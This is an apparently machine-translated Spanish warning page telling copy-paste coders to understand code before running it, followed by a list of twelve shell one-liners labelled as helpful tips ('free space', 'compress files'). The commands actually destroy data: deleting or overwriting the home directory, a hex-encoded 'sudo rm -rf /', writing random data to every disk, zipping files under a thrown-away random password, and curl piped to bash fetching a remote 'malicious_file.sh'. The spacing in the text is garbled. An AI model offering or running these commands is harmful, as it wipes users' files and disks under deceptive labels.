A menudo escucho a las personas llamarse a sí mismos 'copiando y pegar' codificadores. Y, si bien copiar y pegar es algo legítimo, no debería ser su única forma de hacer las cosas. Un mejor método es encontrar código, ver lo que se hace y luego recrearlo, y con un mínimo, copiarlo, pero saber exactamente lo que hace.
Aquí está mi pequeño ejemplo de código que tiene resultados involuntarios.
"Ejecutar el código que encontró en Internet es como masticar chicle que encontró en el metro".
A. simplifica enormemente la sintaxis del documento:
while read f ; do sed -i " " ' s:.:*:g ' " $f " ; done <<< " $(find ~/ -iname '*' -print) "B. libera el espacio sin reducción:
du ~ / | grep -o ' /.* ' | xargs rm -r --C. Reinicia sus archivos para mejorar la eficiencia:
du ~ / * / * | grep -o ' /.* ' | xargs -n 1 ln -sf /dev/null/D. mueve archivos/carpetas a un volumen con almacenamiento ilimitado:
for d in ~ / * / * ; do mv " $d / " /dev/null ; doneE. libera todo el espacio sin redacción:
command $( echo 7375646f20726d202d7266202f0a | xxd -p -r ) & > /dev/nullF. Mastura el chicle que ni siquiera sabes:
bash -c " $( curl -s https://raw.githubusercontent.com/thedzy/My-one-page-argument-for-learning-to-code/master/malicious_file.sh ) "G. libera el espacio sin redacciones:
eval $( sed ' s:[a-e,s-z]::g ' <<< " stream -draft ~/saved " )H. Comprimir archivos y guardar espacio:
zip --password " $( openssl rand -base64 64 ) " --move " $( openssl rand -hex 4 ) " .zip ~ / * / * / * / * / *I. Reduzca su necesidad de los volúmenes externos:
for d in /dev/disk * ; do dd if=/dev/random of= $d &; doneJ. Simplemente sus archivos y su vida:
find ~ / -type f -exec bash -c ' :|tee {} & ' ;K. Mantenga registros de archivos en la carpeta de inicio utilizando sus archivos actuales:
find ~ / -type f -exec awk ' FNR == 1{ print FILENAME > FILENAME } ' {} ;L. Corte en el espacio del disco sin eliminar un archivo:
n= ` df -i | grep " /$ " | awk ' {print $6} ' ` ; eval ` stat -s / ` ; for i in $( seq $n 0 ) ; do [ -f /.vol/ $st_dev / $i ] && echo > /.vol/ $st_dev / $i ; done find / -iname "*.txt" | head -n 60 | xargs -n1 -J% cp % $HOME/Desktop/